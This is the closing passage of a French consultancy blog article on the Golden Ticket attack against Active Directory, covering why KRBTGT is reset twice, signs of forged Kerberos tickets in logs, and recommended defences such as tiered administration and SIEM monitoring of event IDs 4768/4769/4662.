Le compte KRBTGT conserve en memoire ses deux derniers mots de passe pour assurer la continuite de service lors des changements. Si une seule reinitialisation est effectuee, les Golden Tickets forges avec l'ancien hash restent valides car le KDC accepte encore les tickets chiffres avec le mot de passe precedent. Deux reinitialisations successives, espacees d'au moins 12 heures pour permettre la replication complete, sont donc necessaires pour invalider tous les tickets forges existants.

Quels sont les signes revelateurs d'une utilisation de Golden Ticket dans un environnement Active Directory ?

Les indicateurs incluent des TGT avec des durees de vie anormalement longues (superieur a la politique du domaine), des tickets emis sans requete AS-REQ correspondante dans les logs du KDC, des authentifications depuis des comptes inexistants ou desactives, des groupes d'appartenance dans le PAC ne correspondant pas a l'annuaire, et des acces administratifs depuis des postes inhabituels. La surveillance de l'Event ID 4769 avec des anomalies de chiffrement (usage de RC4 au lieu d'AES) est egalement revelatrice.

Pour approfondir, consultez les ressources de NIST Cybersecurity et de NVD (National Vulnerability Database).

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

L'attaque **Golden Ticket** représente l'une des menaces les plus graves pour la sécurité d'un environnement Active Directory. Sa capacité à conférer un accès persistant et furtif à l'ensemble du domaine en fait l'arme de prédilection des attaquants APT (Advanced Persistent Threat) et des groupes de ransomware aboutis.

Cependant, comme nous l'avons vu dans ce guide, des défenses efficaces existent :

- **La rotation régulière du KRBTGT** est la pierre angulaire de la défense
- **L'architecture Tiered** limite drastiquement les opportunités d'escalade
- **Le monitoring avancé** permet de détecter les anomalies Kerberos
- **Les technologies modernes** (Credential Guard, Defender for Identity) offrent des protections robustes

La sécurité Active Directory ne peut plus être une réflexion après-coup. En 2025, avec la sophistication croissante des attaquants et la criticité d'AD pour les opérations métier, une approche proactive et structurée est indispensable.

Prochaines Étapes Recommandées

1. **Audit de votre posture actuelle** : Évaluez votre vulnérabilité aux Golden Tickets avec notre Top 5 des Outils d'Audit AD
2. **Planification de la rotation KRBTGT** : Si jamais effectuée, planifiez-la immédiatement (en dehors des heures de production)
3. **Implémentation du Tiered Model** : Commencez par identifier vos assets Tier 0 et sécuriser leur accès
4. **Déploiement de la surveillance** : Configurez les règles SIEM pour Event ID 4768/4769/4662
5. **Formation des équipes** : Assurez-vous que vos équipes IT et SOC comprennent ces menaces

Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :

- Top 10 des Attaques Active Directory en 2025
- DCSync : Exfiltration des Secrets AD
- Kerberoasting : Extraction et Crack des TGS
- Silver Ticket : Forgery de Tickets de Service
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

← Retour au Top 10 des Attaques AD Article suivant : DCSync →

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr